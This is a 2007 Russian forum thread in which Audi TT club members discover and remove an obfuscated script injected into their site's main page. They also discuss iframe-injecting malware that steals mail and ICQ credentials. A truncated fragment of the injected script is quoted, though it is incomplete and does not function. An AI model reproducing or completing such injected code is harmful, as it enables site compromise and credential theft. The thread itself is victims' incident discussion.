Ахтунг, вирус?

Добавлено: Сб Май 26, 2007 5:58 pm

Ходят шлюхи, что на главной странице нашего сайта сидит вирус. У кого есть возможность, проверьте, только осторожно.
Якобы выскакивает окно, всплывающее, "невозможно тобразить страницу" при закрытии которого закрывается и сайт тоже.
У меня такого нет, у лерки было и у еще одного человека.

www.audi-tt.ru

Добавлено: Сб Май 26, 2007 7:14 pm

У меня было на двух компах такое. Касперский на обоих находил...потом что то удалил....и после обновления все было уже хорошо.

Добавлено: Вс Май 27, 2007 12:26 am

именно на нашем сайте??

Добавлено: Вс Май 27, 2007 12:38 am

Tigra писал(а):

именно на нашем сайте??

у меня на карс.ауто.ру такое было несколько раз,
здесь не проверял - захожу всегда сразу в форум...

Добавлено: Вс Май 27, 2007 2:48 am

зайди на гл.страницу, открой сорс-код странички, прокрути вниз, увидишь "что-то" кодированное.
что это - я не знаю, но, кажется, его там быть не должно.
сейчас в рунете такого много, пользуются слабостями хостеров, и на все сайты грузят скрытые коды со всяким говном.
п.с. окошко у меня вылетело однажды, попробовав заново открыть страницу - не вылетает. надеюсь, не засел он в компе Smile

Добавлено: Вс Май 27, 2007 3:14 am

Проверил на разных компах, на одном выскочило маленькое сообщение об ошибке "невозможно открыть audi-tt.ru", поверх окна главной страницы. При его закрытии, перенаправилось на http://audi-tt.ru и в пустом окне написало, что страница не может быть показана.

Заход тут же на главную страницу уже без всяких сообщний.

На другом компе, выскочило сообщение от IE, что сайт просить разрешить activeX приложение Microsoft Data Access - Remote Data Services by Microsoft Corporation. Я его не разрешил, и на главной теперь отсутствует флэшка audi-tt (сразу над меню который), вместо неё просто белый прямоугольник.

Так что копай что там с этим файлом (TT-клуб-black.swf), у тебя вроде как ссылка в нём на http://audi-tt.ru по нажатию настроена..

Кстати, что за скрипт в конце самом кода главной страницы -
">document.write(unescape("%3Cscript%3Etry%20%7Bvar%20XT%3D..." ?

Добавлено: Вс Май 27, 2007 11:09 am

Внатури, что за кусок в конце страницы висит? Если сам не вешал такого - потри нах!

А насчёт вирусов на сайтах, да, есть такая тема... пару месяцев назад словил занимательнейшую штучку: ставится на машину сама, грузится с левого сайта при помощи тега iframe, висит в системе, ищет файлы *.htm, *.html, *.php на машине (включая сеансы ftp), успешно с сохранением структуры документа всовывает туда ссылку на левый сайт в iframe... что-то там про radiodeejays, кажется... Параллельно собирает в файлик UIN`чики, аккаунтики от The Bat! и Outlook`ов... Знатно кто-то постарался. Я этим делом три сайта своих заинфектил + 1 чужой... Благо, достаточно быстро это заметил.

Добавлено: Вс Май 27, 2007 11:49 am

Удалил!

Бля буду, я такого не добавлял.
причем дата последнего редактирования файла - 20 мая.
А я сам этот файл не редактировал где то с марта...

Добавлено: Вс Май 27, 2007 12:04 pm

tag_ писал(а):

Внатури, что за кусок в конце страницы висит? Если сам не вешал такого - потри нах!

А насчёт вирусов на сайтах, да, есть такая тема... пару месяцев назад словил занимательнейшую штучку: ставится на машину сама, грузится с левого сайта при помощи тега iframe, висит в системе, ищет файлы *.htm, *.html, *.php на машине (включая сеансы ftp), успешно с сохранением структуры документа всовывает туда ссылку на левый сайт в iframe... что-то там про radiodeejays, кажется... Параллельно собирает в файлик UIN`чики, аккаунтики от The Bat! и Outlook`ов... Знатно кто-то постарался. Я этим делом три сайта своих заинфектил + 1 чужой... Благо, достаточно быстро это заметил.

блииииииаааа. Вспоминаю что как раз в этих числах (20 мая) моя ненаглядная искав тур в хорватию подцепила нечто такое, от чего сдох мой настольный комп. Мы думали какого хрена у нас интернет во всей квартире пропал(wifi) - оказывается этот комп на протяжении 1-2 дней так забивал интернет канал рассылкой спама, что мы в инет вылезти уже не могли. Не исключаю того, что как раз в тот день сайт то и был заинфекчен. етм....

Добавлено: Вс Май 27, 2007 1:18 pm

если очень интересно, можешь у хостера лог подключений посмотреть, если он имеется, с какого айпи подключались к фтп.
вряд ли комп сам подключился к фтп и заменил индексовый файл.
скорее всего, имхо, нашли дыру у хостера, и закачали кодированный фрейм. если дыра не пофиксена, всё повторится Smile

п.с. а комп у меня всё-таки пукнул, пришлось поднимать с "архива"

Добавлено: Вс Май 27, 2007 4:17 pm

У меня щас при переходе с темы на тему на этом сайте вдруг выскочила страничка с КАЗИНО(интернет)...не у кого не было?
Правда была еще открыта страничка с ГИСМЕТЕО ..

Добавлено: Пн Май 28, 2007 10:47 am

071 писал(а):

вряд ли комп сам подключился к фтп и заменил индексовый файл.

Именно так оно и работает. Само Smile

Добавлено: Пн Май 28, 2007 10:58 am

У меня тоже окошко вылетало, а потом аутлук и аська рухнули, пришлось сносить старую версию и ставить другую. Нашел вирус под названием zupastik.exe